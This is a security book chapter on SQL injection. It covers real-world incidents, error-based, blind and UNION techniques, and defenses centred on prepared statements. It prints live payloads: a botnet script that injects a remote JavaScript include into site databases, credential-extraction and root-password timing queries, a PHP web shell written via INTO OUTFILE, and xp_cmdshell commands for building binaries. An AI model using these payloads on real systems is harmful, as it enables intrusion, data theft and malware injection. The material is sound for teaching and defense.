Structured Query Language Injection

Structured Query Language (SQL) injection attacks have evolved immensely over the last 10 years even though the underlying vulnerability that leads to SQL injection remains the same. In 1999, an SQL-based attack enabled arbitrary commands to be executed on systems running Microsoft’s Internet Information Server (IIS) version 3 or 4. (To put 1999 in perspective, this was when *The Matrix* and *The Blair Witch Project* were first released.) The attack was discovered and automated via a Perl script by a hacker named Rain Forest Puppy (http://downloads.securityfocus.com/vulnerabilities/exploits/msadc.pl). Over a decade later, SQL injection attacks still execute arbitrary commands on the host’s operating system, steal millions of credit cards, and wreak havoc against Web sites. The state of the art in exploitation has improved on simple Perl scripts to become part of Open Source exploit frameworks such as Metasploit (www.metasploit.com/) and automated components of botnets.

Botnets, compromised computers controllable by a central command, have been used to launch denial of service (DoS) attacks, click fraud and in a burst of malevolent creativity, using SQL injection to infect Web sites with cross-site scripting (XSS) or malware payloads. (Check out Chapter 1, “Cross-Site Scripting,” and Chapter 7, “Web of Distrust,” for background on XSS and malware.) If you have a basic familiarity with SQL injection, then you might mistakenly imagine that injection attacks are limited to the misuse of the single-quote character (‘) or some fancy SQL statements using a UNION. Check out the following SQL statement, which was used by the ASProx botnet in 2008 and 2009 to attack thousands of Web sites. One resource for more information on ASProx is at http://isc.sans.org/diary.html?storyid=5092.

```
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b
```
CHAPTER 3  Structured Query Language Injection

WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35
OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT
FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN
EXEC('UPDATE ['+@T+'] SET
['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''script
src=http://site/egg.js/script'') FETCH NEXT FROM
Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE
Table_Cursor

The preceding code wasn’t used verbatim for SQL injection attacks. It was quite
cleverly encoded so that it appeared as a long string of hexadecimal characters pre-
ceded by a few cleartext SQL characters like DECLARE%20@T%20VARCHARS…
For now, don’t worry about the obfuscation of SQL; we’ll cover that later in the
Section, “Breaking Naive Defenses.”

SQL injection attacks do not always attempt to manipulate the database or gain
access to the underlying operating system. DoS attacks aim to reduce a site’s avail-
ability for legitimate users. One way to use SQL to create a DoS attack against a site
is to find inefficient queries. A full table scan is a type of inefficient query. Different
tables within a Web site’s database can contain millions if not billions of entries.
Much care is taken to craft narrow SQL statements that need only to examine par-
ticular slices of that data. Such optimized queries can mean the difference between
a statement that takes a few seconds to execute or a few milliseconds. Such an
attack applied against a database is just a subset of a more general class of resource
consumption attacks.

Searches that use wildcards or that fail to limit a result set may be exploited to
create a DoS attack. One query that takes a second to execute is not particularly
devastating, but an attacker can trivially automate the request to overwhelm the site’s
database.

There have been active resource consumption attacks against databases. In January
2008, a group of attackers discovered SQL injection vulnerability on a Web site
owned by the Recording Industry Association of America (RIAA). The vulnerability
could be leveraged to execute millions of CPU-intensive MD5 functions within the
database. The attackers posted the link and encouraged others to click on it in protest
of RIAA’s litigious stance on file sharing (www.reddit.com/comments/660oo/this_
link_runs_a_slooow_sql_query_on_the_riaas). The SQL exploit was quite simple,
as shown in the following example. By using 77 characters, they succeeded in knock-
ing down a Web site. In other words, simple attacks work.

2007 UNION ALL SELECT
BENCHMARK(100000000,MD5('asdf')).NULL,NULL,NULL,NULL --

In 2007 and 2008, hackers used SQL injection attacks to load malware on the
internal systems of several companies that in the end compromised millions of
credit-card numbers, possibly as many as 100 million numbers (www.wired.com/
threatlevel/2009/08/tjx-hacker-charged-with-heartland/). In October 2008, the Federal
Bureau of Investigation (FBI) shut down a major Web site used for carding (selling
Understanding SQL Injection

credit-card data) and other criminal activity after a two-year investigation in which
an agent infiltrated the group to such a degree that the carders’ Web site was briefly
hosted, and monitored, on government computers. The FBI claimed to have prevented
over $70 million in potential losses (www.fbi.gov/page2/oct08/darkmarket_102008
.html). The grand scale of SQL injection compromises provides strong motivation
for attackers to seek out and exploit these vulnerabilities. This scale is also evidenced
by the global coordination of credit card and bank account fraud. On November 8,
2008, criminals turned a network hack against a bank into a scheme where dozens of
lackeys used cloned ATM cards to pull over $9 million from machines in 49 cities
around the world within a 30-minute time window (www.networkworld.com/
community/node/38366). Information, especially credit card and bank data, has great
value to criminals.

UNDERSTANDING SQL INJECTION

SQL injection vulnerabilities enable an attacker to manipulate the database com-
pands executed by a Web application. For many Web sites, databases drive dynamic
content, store product lists, track orders, maintain user profiles, or conduct some very
central duty for the site, albeit one that occurs behind the scenes. These sites execute
database commands when users perform all sorts of actions, which also affect the
type of command to be executed. The database might be queried for relatively static
information, such as books written by Arthur Conan Doyle, or quickly changing data,
such as recent comments on a popular discussion thread. New information might be
inserted into the database, such as posting a new comment to that discussion thread,
or inserting a new order into a user’s shopping history. Stored information might also
be updated, such as changing a home address or resetting a password. There will
even be times when information is removed from the database, such as shopping
carts that were not brought to check out after a certain period of time. In all the cases,
the Web site executes a database command with a specific intent.

The success of an SQL injection exploit varies based on several factors that we
will explore later. At their worst, SQL injection exploits change a database com-
pand from the developer’s original intent to an arbitrary one chosen by the attacker.
A query for one record might be changed to a query for all records. An insertion of
new information might become a deletion of an entire table. In extreme cases, the
attack might jump out of the database on to the operating system itself.

The reason that SQL injection attacks can be so damaging to a site is due to the
nature of how, for the most part, the vulnerability arises in a Web application: string
concatenation. String concatenation is the process of the gluing of characters and
words together to create a single string from them – in this case a database com-
pand. An SQL command reads very much like a sentence. For example, this query
selects all records from the user’s table that match a specific activation key and login
name. Many Web sites use this type of design pattern to sign up new users. The site
sends an e-mail with a link that contains a random activation key. The goal is to
allow legitimate users (humans with an e-mail account) to create an account on the site, but prevent malicious users (spammers) from automatically creating thousands of accounts for their odious purposes. This particular example is written in PHP (the dollar sign indicates variables). The concept of string concatenation and variable substitution is common to all the major languages used in Web sites.

```php
$username = 'severin';
$password = 'secret';
$command = "SELECT * FROM $wpdb->users WHERE user_activation_key = '$username' AND user_login = '$password';"
```

The Web application will populate the variables with their appropriate values, either predefined within the application or taken from data received from the browser. It is the data originated from the browser that will be manipulated by the attacker. In our example, if the Web application receives a normal request from the user, then the database command will look something like this simple SELECT.

```sql
SELECT * from db.users WHERE user_activation_key = '4b69726b6d616e2072756c657321' AND user_login = 'severin'
```

Now, observe how an attacker can change the grammar of a database command by injecting SQL syntax into the variables. First, let’s revisit the code. Again the example uses PHP, but SQL injection is not limited to a specific programming language or database. In fact, we haven’t even mentioned the database in this example; it just doesn’t matter right now because the vulnerability is in the creation of the command itself.

```php
$username = $_GET['username'];
$password = $_GET['password'];
$command = "SELECT * FROM $wpdb->users WHERE user_activation_key = '$username' AND user_login = '$password';"
```

Instead of supplying a hexadecimal value from the activation link (which PHP would extract from the $_GET['activation'] variable), the attacker might try this sneaky request.

```
http://my.diary/admin/activate_user.php?activation=a'OR'a=z'z'ANDuser_login='severin'
```

Without adequate countermeasures, the Web application would submit the following command to the database. The underlined portion represents the value of $username after the Uniform Resource Identifier (URI) parameter has been extracted from the request.

```
SELECT * from db.users WHERE user_activation_key = 'a' OR 'a'='a' AND user_login = 'severin'
```

Note how the query’s original restriction to search for rows with a user_activation_key and user_login has been weakened. The inclusion of an OR clause means that the user_activation_key must be equal to the letter a, or the letter z must be equal to itself— an obvious truism. The modified grammar means that only the user_login value must be correct to find a row. As a consequence, the Web application will
change the user’s status from provisional (pending that click on an activation link) to active (able to fully interact with the Web site).

This ability to change the meaning of a query by altering the query’s grammar is similar to how XSS attacks (also called HTML injection) change a Web page’s meaning by affecting its structure. The fundamental problem in both cases is that data and commands are commingled. When data and commands are mixed without careful delineation between them, it’s possible for data to masquerade as a command. This is how a string like a’ OR ‘z’=’z can be misinterpreted in a SQL query as an OR clause instead of a literal string or how a onMouseOver=alert(document.cookie)>’< can be misinterpreted as JavaScript rather than username. This chapter focuses on the details and countermeasures specific to SQL injection, but many of the concepts can be generalized to any area of the Web application where data are taken from the user and manipulated by the Web site.

**Breaking the Query**

The simplest way to check for SQL injection appends a single quote to a parameter. If the Web site responds with an error message, then at the very least it has inadequate input filtering and error handling. At worst, it will be trivially exploitable. (Some Web sites go so far as to place the complete SQL query in a URI parameter, for example, view.cgi?q=SELECT+name+FROM+db.users+WHERE+id%3d97. Such poor design is clearly insecure.) Using the single quote will not always work nor will it rely on the site to display friendly error messages. This section describes different methodologies for identifying SQL injection vulnerabilities.

**Breaking Naive Defenses**

Databases, such as Web sites, support many character sets. Character encoding is an excellent way to bypass simple filters and Web-application firewalls. Encoding techniques were covered in Chapter 1, “Cross-Site Scripting.” The same concepts covered in that chapter work equally well for delivering SQL injection payloads. Also of note are certain SQL characters that may have special meaning within a query. The most common special character is the single quote, hexadecimal ASCII value 0x27. Depending on how user-supplied data are decoded and handled, these characters can alter the grammar of a query.

So far, the examples of SQL statements have included spaces for the statements to be easily read. For most databases, spaces are merely serving as a convenience for humans to write statements legible to other humans. Humans need spaces, SQL just requires delimiters. Delimiters, of which spaces are just one example, separate the elements of an SQL statement. The following examples show equivalent statements written with alternate syntax.

```sql
SELECT*FROM parties WHERE day='tomorrow'
SELECT*FROM parties WHERE day='tomorrow'
SELECT*FROM parties WHERE day=REVERSE('worromot')
SELECT/**/*/**/FROM/**/parties/**/WHERE/**/day='tomorrow'
```
TIP
Pay attention to verbose error messages produced by SQL injection attempts to determine what characters are passing validation filters, how characters are being decoded, and what part of the target query's syntax needs to be adjusted.

The examples just shown are not meant to be exhaustive, but they should provide insight into multiple ways of creating synonymous SQL statements. The majority of the examples adhere to ANSI SQL. Others may only work with certain databases or database versions. Many permutations have been omitted, such as using square brackets and parentheses within the same statement. These alternate statement constructions serve two purposes: avoiding restricted characters and evading detection. Table 3.1 provides a summary of the various techniques used in the previous example. The characters in this table carry special meaning within SQL and should be considered unsafe or potentially malicious.

**Table 3.1 Syntax useful for alternate SQL statement construction**

<table>
<thead>
<tr>
<th>Characters</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>--</td>
<td>Two dashes followed by a space. Begin a comment to truncate all following text from the statement</td>
</tr>
<tr>
<td>#</td>
<td>Begin a comment to truncate all following text from the statement</td>
</tr>
<tr>
<td>/**/</td>
<td>Multiline comment, equivalent to whitespace</td>
</tr>
<tr>
<td>[]</td>
<td>Square brackets, delimit identifiers, and escape reserved words (Microsoft SQL Server)</td>
</tr>
<tr>
<td>N'</td>
<td>Identify a national language (i.e., Unicode) string, for example, N'velvet'</td>
</tr>
<tr>
<td>()</td>
<td>Parentheses, multipurpose delimiter</td>
</tr>
<tr>
<td>&quot;</td>
<td>Delimit identifiers</td>
</tr>
<tr>
<td>0x09, 0x0b, 0x0a, 0x0d</td>
<td>Hexadecimal values for horizontal tab, vertical tab, carriage return, line feed; all equivalent to whitespace</td>
</tr>
<tr>
<td>Subqueries</td>
<td>Use SELECT foo to represent a literal value of foo</td>
</tr>
<tr>
<td>WHERE...IN...</td>
<td>Alternate clause construction</td>
</tr>
<tr>
<td>BETWEEN...</td>
<td>Alternate clause construction</td>
</tr>
</tbody>
</table>
Exploiting Errors

The error returned by an SQL injection vulnerability can be leveraged to divulge internal database information or used to refine the inference-based attacks that we’ll cover in the next section. Normally, an error contains a portion of the corrupted SQL statement. The following URI produced an error by appending a single quote to the sortby=p.post_time parameter.

```
/search.php?term=&addterms=any&forum=all&search_username=roland&
sortby=p.post_time'&searchboth=both&submit=Search
```

Let’s examine this URI for a moment before moving on to the SQL error. In Chapter 4, “Server Misconfiguration and Predictable Pages,” we discuss the ways in which Web sites leak information about their internal programs and how those leaks might be exploited. This URI makes a request to a search function in the site, which is assumed to be driven by database queries. Several parameters have descriptive names that hint at how the SQL query is going to be constructed. A significant clue is the `sortby` parameter’s value: p.post_time. The format of p.post_time hints very strongly at a `table.column` format as used in SQL. In this case, we guess a table `p` exists with a column named `post_time`. Now let’s look at the error produced by the URI to confirm our suspicions.

An Error Occurred

phpBB was unable to query the forums database
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 200' at line 6


As we expected, p.post_time shows up verbatim in the query along with other columns from the `p` table. This error shows several other useful points for further attacks against the site. First, the SELECT statement was looking for seven columns. The column count is important when trying to extract data via UNION statements because the number of columns must match on each side of the UNION. Second, we deduce from the start of the WHERE clause that username roland has a poster_id of 1. Knowing this mapping of username to ID might be useful for SQL injection or another attack that attempts to impersonate the user. Finally, we see that the injected point of the query shows up in an ORDER BY clause.

Unfortunately, ORDER BY doesn’t offer a useful injection point in terms of modifying the original query with a UNION statement or similar. This is because the ORDER BY clause expects a very limited sort expression to define how the result set should be listed. Yet, all is not lost from the attacker’s perspective. If the original
statement can’t be modified in a useful manner, it may be possible to append a new statement after ORDER BY. The attacker just needs to add a terminator, the semicolon, and use an in-line comment (two dashes followed by a space) to truncate the remainder of the query. The new URI would look like this:

```
/search.php?term=&addterms-any&forum=all&search_username=roland&
sortby=p_post_time:---&searchboth=both&submit=Search
```

If that URI didn’t produce an error, then it's probably safe to assume that multiple SQL statements can be appended to the original SELECT without interference from the ORDER BY clause. At this point, the attacker could try to create a malicious PHP file by using a SELECT…INTO OUTFILE technique to write to the filesystem. Another alternative is for the user to start time-based inference technique as discussed in the next section. Very briefly, such a technique would append an SQL statement that might take one second to complete if the result is false or 10 seconds to complete if the result is true. The following SQL statements show how this might be used to extract a password. (The SQL to the left of the ORDER BY clause has been omitted.) The technique as shown isn’t optimized to be a little more readable than more complicated constructs. Basically, if the first letter of the password matches the LIKE clause, then the query returns immediately. Otherwise, it runs the single-op BENCHMARK 10,000,000 times, which should induce a perceptible delay. In this manner, the attacker would traverse the possible hexadecimal values at each position of the password, which would require at most 15 guesses (if the first 15 guesses failed, the final one must be correct) for each of 40 positions. Depending on the amount of the delay required to distinguish a success from a failure and how many requests can be run in parallel, the attacker might need anywhere from a few minutes to a few hours of patience to obtain the password.

```sql
...ORDER BY p.post_time; SELECT password FROM mysql.user WHERE user='root' AND IF(SUBSTRING(password,2,1) LIKE 'A', 1,
BENCHMARK(10000000,1));

...ORDER BY p.post_time; SELECT password FROM mysql.user WHERE user='root' AND IF(SUBSTRING(password,2,1) LIKE 'B', 1,
BENCHMARK(10000000,1));

...ORDER BY p.post_time; SELECT password FROM mysql.user WHERE user='root' AND IF(SUBSTRING(password,2,1) LIKE 'C', 1,
BENCHMARK(10000000,1));
```

Now let's turn our attention to an error returned by Microsoft SQL Server. This error was produced using a blank value to the code parameter in the URI /select.asp?code=.

```
Error # -2147217900 (0x80040E14)
Line 1: Incorrect syntax near '='.
SELECT l.LangCode, l.CountryName, l.NativeLanguage, l.Published,
l.PctComplete, l.Archive FROM tblLang l LEFT JOIN tblUser u on
l.UserID = u.UserID WHERE l.LangCode =
```
Microsoft SQL Server has several built-in variables for its database properties. Injection errors can be used to enumerate many of these variables. The following URI attempts to discern the version of the database.

/select.asp?code=1+OR+1=@@version

The database kindly populates the @@version variable in the subsequent error message because the SQL statement is attempting to compare an integer value, 1, with the string (nvarchar) value of the version information.

Error # −2147217913 (0x80040E07)
Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Developer Edition on Windows NT 5.1 (Build 2600: Service Pack 3)' to a column of data type int.


We also observe from this error that the SELECT statement is looking for six columns, and the injection point lends itself quite easily to UNION constructs. Of course, it also enables inference-based attacks, which we’ll cover next.

**Inference**

Some SQL injection vulnerabilities cannot be detected by direct observation of errors. These vulnerabilities require an inference-based methodology that compares how the site responds to a collection of specially crafted requests. This technique is also referred to as **blind SQL injection**.

An inference-based approach attempts to modify a query so that it will produce a binary response, such as forcing a query to become true or false, return one record or all records, or respond immediately or respond after a delay. This requires at least two requests to determine the presence of a vulnerability. For example, an attack to test **true** and **false** in a query might use OR 17=17 to represent always true and OR 17=37 to represent false. The assumption would be that if a query is injectable, then the true condition will generate different results than the false one. For example, consider the following queries. The $post_ID is the vulnerable parameter. The count for the second and third line should be identical; the queries restrict the SELECT to all comments with comment_post_ID equal to 195 (the OR 17=37 is equivalent to Boolean false, which reduces to 195). The count for the fourth query should be greater because the SELECT will be performed for all comments because 195 OR 17=17 reduces to Boolean true. In other words, the last query will SELECT all comments where comment_post_ID evaluates to true, which will match all comments (or almost all comments depending on the presence of NULL values and the particular database).

```
SELECT count(*) FROM comments WHERE comment_post_ID = $post_ID
SELECT count(*) FROM comments WHERE comment_post_ID = 195
```
Extracting information with this technique typically uses one of three ways of modifying the query: arithmetic, Boolean, or time delay. Arithmetic techniques rely on math functions available in SQL to determine whether an input is injectable or to extract specific bits of a value. For example, instead of using the number 195, the attacker might choose mod(395,200) or 194 + 1 or 197 – 2. Boolean techniques apply clauses with OR and AND operators to change the expected outcome. Time-delay techniques WAITFOR DELAY or MySQL BENCHMARK are applied to affect the response time of a query. In all cases, the attacker creates an SQL statement that extracts information one bit at a time. A time-based technique might delay the request 30 seconds if the bit is 1 and return immediately if the bit is 0. Boolean and math-based approaches might elicit a statement that is true if the bit is 1, false for 0. The following examples demonstrate this bitwise enumeration in action. The underlined number represents the bit position, by power of 2, being checked.

```
SELECT 1 FROM 'a' & 1
SELECT 2 FROM 'a' & 2
SELECT 64 FROM 'a' & 64
... AND 1 IN (SELECT CONVERT(INT,SUBSTRING(password,1,1) & 1 FROM master.dbo.sysxlogins WHERE name LIKE 0x73006100)
... AND 2 IN (SELECT CONVERT(INT,SUBSTRING(password,1,1) & 2 FROM master.dbo.sysxlogins WHERE name LIKE 0x73006100)
... AND 4 IN (SELECT ASCII(SUBSTRING(DB_NAME(0),1,1)) & 4)
```

Manual detection of blind SQL injection vulnerabilities is quite tedious. A handful of tools automate detection of these vulnerabilities, as well as exploiting them to enumerate the database or even execute commands on the host of the databases. Sqlmap (http://sqlmap.sourceforge.net/) is a good command-line tool with several options and good documentation. Another excellent write-up is at www.ngssoftware.com/research/papers/sqlinference.pdf.

Data Truncation

Many SQL statements use size-limited fields to cap the possible data to be stored or because the field’s expected values will fall under a maximum length. Data truncation exploit situations in which the developer attempts to escape single-quote characters. The single quote, as we’ve seen, delimits string values and serves an integral part of legitimate and malicious SQL statements. This is why a developer may decide to escape single quotes by doubling them (‘ becomes ”) to prevent SQL injection attacks. (Prepared statements are a superior defense.) However, if a string’s length is limited, the quote doubling might extend the original string past the threshold. When this happens, the trailing characters will be truncated and could
produce an unbalanced number of quotes, ruining the developer’s intended countermeasures.

This attack requires iteratively appending single quotes and observing the application’s response. Servers that return verbose error messages make it much easier to determine whether quotes are being doubled. Attackers can still try different numbers of quotes to blindly thrash around for this vulnerability.

**Vivisecting the Database**

SQL injection payloads do not confine themselves to eliciting errors from the database. If an attacker is able to insert arbitrary SQL statements into the payload, then data can be added, modified, and deleted. Some databases provide mechanisms to access the file system or even execute commands on the underlying operating system.

**Extracting Information with Stacked Queries**

Databases hold information with varying degrees of worth. Information like credit-card numbers have obvious value. Yet, credit cards are by no means the most valuable information. Usernames and passwords for e-mail accounts or online games can be worth more than credit cards or bank account details. In other situations, the content of the database may be targeted by an attacker wishing to be a menace or to collect competitive economic data.

**NOTE**

Support for multiple statements varies across databases and database versions. This section attempts to focus on ANSI SQL. Many databases provide SQL extensions to reduce, increase, and combine result sets.

SELECT statements tend to be the workhorse of data-driven Web applications. SQL syntax provides for complex SELECT statements including stacking SELECT, and combines results with the UNION command. The UNION command is most commonly used for extracting arbitrary information from the database. The following code shows UNION statements used in various security advisories.

```sql
−999999 UNION SELECT 0,0,1,(CASE WHEN (ASCII(SUBSTR(LENGTH(TABLE) FROM 1 FOR 1))=0) THEN 1 ELSE 0 END),0,0,0,0,0,0,0,0,0 FROM information_schema.TABLES WHERE TABLE LIKE 0x255f666f72756d5f666f727567726f75705f616363657373 LIMIT 1 −

UNION SELECT pwd,0 FROM nuke_authors LIMIT 1,2

' UNION SELECT uid,uid,null,null,null,null,password,null FROM mybb_users/*

−3 union select 1,2,user(),4,5,6--
```
UNION statements require the number of columns on each side of the UNION to be equal. This is hardly an obstacle for exploits because resolving mismatched column counts is trivial. Take a look at this example, exploit disclosed for a DEDECMS application. The column count is easily balanced by adding numeric placeholders. (Spaces have not been encoded to maintain readability.)

```
/feedback_js.php?arcurl=' union select '',1=2 union select
 1,1,userid,3,1,3,1,1,1,1,1 from dede_admin where
1=1 union select * from dede_feedback where 1=2 and ''='' from
dede_admin where ''--'
```

The site crafts a SELECT statement by placing the value of the arcurl parameter directly in the query: Select id From `#@__cache_feedbackurl` where url='$arcurl'. The attacker needs only match quotes and balance columns to extract authentication credentials for the site’s administrators. As a reminder, the following points cover the basic steps toward crafting an inference attack.

- Balance opening and closing quotes.
- Balance opening and closing parentheses.
- Use placeholders to balance columns in the SELECT statement. A number or NULL will work, for example, SELECT 1,1,1,1,1,…
- Try to enumerate the column count by appending ORDER BY clauses with ordinal values, for example, ORDER BY 1, ORDER BY 2, until the query fails because an invalid column was referenced.
- Use SQL string functions to dissect strings character by character. Use mathematical or logical functions to dissect characters bit by bit.

**Controlling the Database and Operating System**

In addition to the risks the database faces from SQL injection attacks, the operating system may also come under threat from these exploits. Buffer overflows via SQL queries present one method. Such an attack requires either a canned exploit (whether the realm of script kiddie or high-end attack tools) or careful replication of the target database along with days or weeks of research.

A more straightforward and reliable method uses a database’s built-in capabilities for interacting with the operating system. Standard ANSI SQL does not provide such features, but databases like Microsoft SQL Server, MySQL, and Oracle have their own extensions that do. Table 3.2 lists some commands specific to MySQL.

Microsoft SQL Server has its own extensions, including the notorious xp_cmdshell stored procedure. A few are listed in Table 3.3. A Java-based worm exploited xp_cmdshell and other SQL Server procedures to infect and spread among databases. A nice write-up of the worm is at www.sans.org/security-resources/idfaq/spider.php.

Writing to a file gives an attacker the potential for dumping large data sets from a table. Depending on the location of the databases, the attacker may also create executable files accessible through the Web site or directly through the database. An attack against a MySQL and PHP combination might use the following statement
Understanding SQL Injection

to create a file in the Web application’s document root. After creating the file, the attacker would execute commands with the URI /cmd.php?a=command.

```
SELECT '<?php passthru($_GET[a])?>' INTO OUTFILE '/var/www/cmd.php'
```

File-write attacks are not limited to creating text files. The SELECT expression may consist of binary content represented by hexadecimal values, for example,

```
SELECT 0xCAFEBABE
```

An alternate technique for Windows-based servers uses the `debug.exe` command to create an executable binary from an ASCII input file. The following code shows the basis of this method using Microsoft SQL Server’s `xp_cmdshell` to create a binary. The binary could provide remote graphical user interface access, such as VNC server, or command-line access via a network port, such as netcat. (Quick debug.exe script reference: ‘n’ defines a file name and optional parameters of the binary to be created, ‘e’ defines an address and the values to be placed there, ‘f’ fills in the NULL-byte placeholders to make the creation more efficient. Refer to this link for more details about using debug.exe to create executable files: http://kipirvine.com/asm/debug/Debug_Tutorial.pdf.)

```
exec master..xp_cmdshell 'echo off && echo n file.exe > tmp'
exec master..xp_cmdshell 'echo r cx >> tmp && echo 6e00 >> tmp'
exec master..xp_cmdshell 'echo f 0100 ffff 00 >> tmp'
exec master..xp_cmdshell 'echo e 100 >> tmp && echo 4d5a90 >> tmp'
... exec master..xp_cmdshell 'echo w >> tmp && echo q >> tmp'
```

The Tables 3.2 and 3.3 provided some common SQL extensions for accessing information outside of the database. Research into SQL injection vulnerabilities is quite mature. Several Open Source tools automate exploit techniques based on

<table>
<thead>
<tr>
<th>Table 3.2 MySQL extensions that reach outside of the database</th>
</tr>
</thead>
<tbody>
<tr>
<td>SQL</td>
</tr>
<tr>
<td>LOAD DATA INFILE 'file' INTO TABLE</td>
</tr>
<tr>
<td>SELECT expression INTO OUTFILE 'file'</td>
</tr>
<tr>
<td>SELECT expression INTO DUMPFILE 'file'</td>
</tr>
<tr>
<td>SELECT LOAD_FILE('file')</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Table 3.3 Microsoft SQL Server extensions that reach outside of the database</th>
</tr>
</thead>
<tbody>
<tr>
<td>SQL</td>
</tr>
<tr>
<td>xp_cmdshell 'command'</td>
</tr>
<tr>
<td>SELECT 0xff INTO DUMPFILE 'vu.dll'</td>
</tr>
</tbody>
</table>
these functions: sqlmap (http://sqlmap.sourceforge.net/), sqlninja (http://sqlninja.sourceforge.net/). This section stresses the importance of understanding how a database might be misused as opposed to enumerating the details of dozens of database versions. Use the free tools to investigate an SQL injection vulnerability; they make the process much easier.

Alternate Attack Vectors

Just as Monty Python didn’t expect the Spanish Inquisition, developers may not expect SQL injection vulnerabilities to arise from certain sources. Web-based applications lurk in all sorts of guises and work with data from all manner of sources. For example, consider a Web-driven kiosk that scans bar codes (UPC symbols) to provide information about the item, or a warehouse that scans Radio Frequency Identification (RFID) tags to track inventory in a Web application. Both the bar code and RFID represent user-supplied input, albeit a user in the sense of an inanimate object. Now, a DVD or a book doesn’t have agency and won’t spontaneously create malicious input. On the other hand, it’s not too difficult to print a bar code that contains a single quote – our notorious SQL injection character. Figure 3.1 shows a bar code that contains such a quote. (The image uses Code 128. Not all bar code symbologies are able to represent a single quote or nonnumeric characters.)

You can find bar code scanners in movie theaters, concert venues, and airports. In each case, the bar code is used to encapsulate a unique identifier stored in a database. These applications require SQL injection countermeasures as much as the more familiar Web sites with readily accessible URI parameters.

Metainformation within binary files, such as images, documents, and PDFs, may also be a delivery vector for SQL injection exploits. Most modern cameras tag their digital photos with Exchangeable Image File Format (EXIF) data that can include date, time, GPS coordinates, or other textual information about the photo. If a Web site extracts and stores EXIF tags in a database, then it must treat those tags as untrusted data like any other data supplied by a user. Nothing in the EXIF specification prevents a malicious user from crafting tags that carry SQL injection payloads. The metainformation inside binary files poses other risks if not properly validated, as described in Chapter 1, “Cross-Site Scripting.”

EMPLOYING COUNTERMEASURES

SQL injection, like XSS, is a specific type of grammar injection. The vulnerability arises when user-supplied data are able to change the meaning of a database query (or HTML in the case of XSS). Although it’s very important to validate all incoming
data, there are stronger countermeasures that ensure the meaning of an SQL statement that can be preserved regardless of the content of the data. The best countermeasure for SQL injection is to create all queries using a technique referred to as prepared statements, parameterized statements, or bound parameters.

**Validating Input**

The rules for validating input in Chapter 1, “Cross-Site Scripting,” hold true for SQL injection. Normalize the input to a baseline character set. Decode transformations like URI encoding. Match the final result against a list of acceptable characters. If any characters in the input don’t match, reject the entire input. These steps provide a strong foundation to establishing a secured Web site.

**Securing the Query**

Even strong filters don’t always catch malicious SQL characters. This means additional security must be applied to the database statement itself. The single and double quote characters tend to comprise the majority of SQL injection payloads (as well as many cross-site scripting attacks). These two characters should always be treated with suspicion. In terms of blocking SQL injection, it’s better to block quotes rather than trying to escape them. Programming languages and some SQL dialects provide mechanisms for escaping quotes such that they can be used within an SQL expression rather than delimiting values in the statement. For example, a single quote might be doubled so that ‘ becomes ‘‘ (two single quotes) to balance the quotes. Improper use of this defense leads to data truncation attacks in which the attacker purposefully injects hundreds of quotes to unbalance the statement. For example, a name field might be limited to 32 characters. Escaping a quote within a string increases the string’s length by one for each instance. If the statement is pieced together via string concatenation, whether in the application code or inside a stored procedure, then the balance of quotes might be put off if the name contains 31 characters, followed by a single quote – the additional quote necessary to escape the last character will be past the 32-character limit. Parameterized queries are much easier to use and obviate the need for escaping characters in this manner. Use the easy, more secure route rather than trying to escape quotes.

**EPIC FAIL**

Translating SQL statements created via string concatenation to prepared statements must be done with an understanding of why the conversion improves security. It shouldn’t be done with rote search and replace. Prepared statements can still be created insecurely by lazy developers who choose to build the statement with string concatenation and execute the query with no placeholders for variables. Prepared statements do not fix insecure statements or magically revert malicious payloads back to an inoculated form.

There are some characters that will need to be escaped even if the Web site implements parameterized queries. SQL wildcards such as square brackets ([ and ]), the percent symbol (%), and underscore (_) have their meaning preserved within
bound parameters. Unless a query is expected to explicitly match multiple values based on wildcards, escape these values before they are placed in the query.

**Parameterized Queries**

Prepared statements are a feature of the programming language used to communicate with the database. For example, C#, Java, and PHP provide abstractions for sending statements to a database. These abstractions can either be literal queries created via string concatenation of variables (bad!) or prepared statements. This should also highlight the point that database insecurity is not an artifact of the database or the programming language but how the code is written.

Prepared statements create a template for a query that establishes an immutable grammar. We’ll ignore for a moment the implementation details of different languages and focus on how the concept of prepared statements protects the application from SQL injection. For example, the following pseudo-code sets up a prepared statement for a simple SELECT that matches a name to an e-mail address.

```
statement = db.prepare("SELECT name FROM users WHERE email = ?")
statement.bind(1, "   mutant@mars.planet   ")
```

In the previous example, the question mark was used as a placeholder for the dynamic portion of the query. The code establishes a statement to extract the value of the name column from the users’ table based on a single restriction in the WHERE clause. The bind command applies the user-supplied data to the value used in the expression within the WHERE clause. Regardless of the content of the data, the expression will always be email=something. This holds true even when the data contain SQL commands such as the following examples. In every case, the query’s grammar is unchanged by the input, and the SELECT statement will return records only where the e-mail column exactly matches the value of the bound parameter.

```
statement = db.prepare("SELECT name FROM users WHERE email = ?")
statement.bind(1, "*")
statement = db.prepare("SELECT name FROM users WHERE email = ?")
statement.bind(1, "1 OR TRUE UNION SELECT name,password FROM users")
statement = db.prepare("SELECT name FROM users WHERE email = ?")
statement.bind(1, "FALSE; DROP TABLE users")
```

By this point, the power of prepared statements to prevent SQL injection should be evident. Table 3.4 provides examples of prepared statements for various programming languages.

Many languages provide type-specific binding functions for data such as strings or integers. These functions help sanity check the data received from the user.

Use prepared statements for any query that includes tainted data. Data should always be considered tainted when collected from the Web browser whether...
Employing Countermeasures

NOTE
Performance questions, both in terms of execution overhead and coding style, often arise during discussions of prepared statements. Prepared statements are well established in terms of their security benefits. Using prepared statements might require altering coding habits, but they are superior to custom methods and have a long history of driver support. Modern Web applications also rely heavily on caching, such as memcached (http://danga.com/memcached/), and database schema design to improve performance. Before objecting to prepared statements for nonsecurity reasons, make sure you have strong data to support your position.

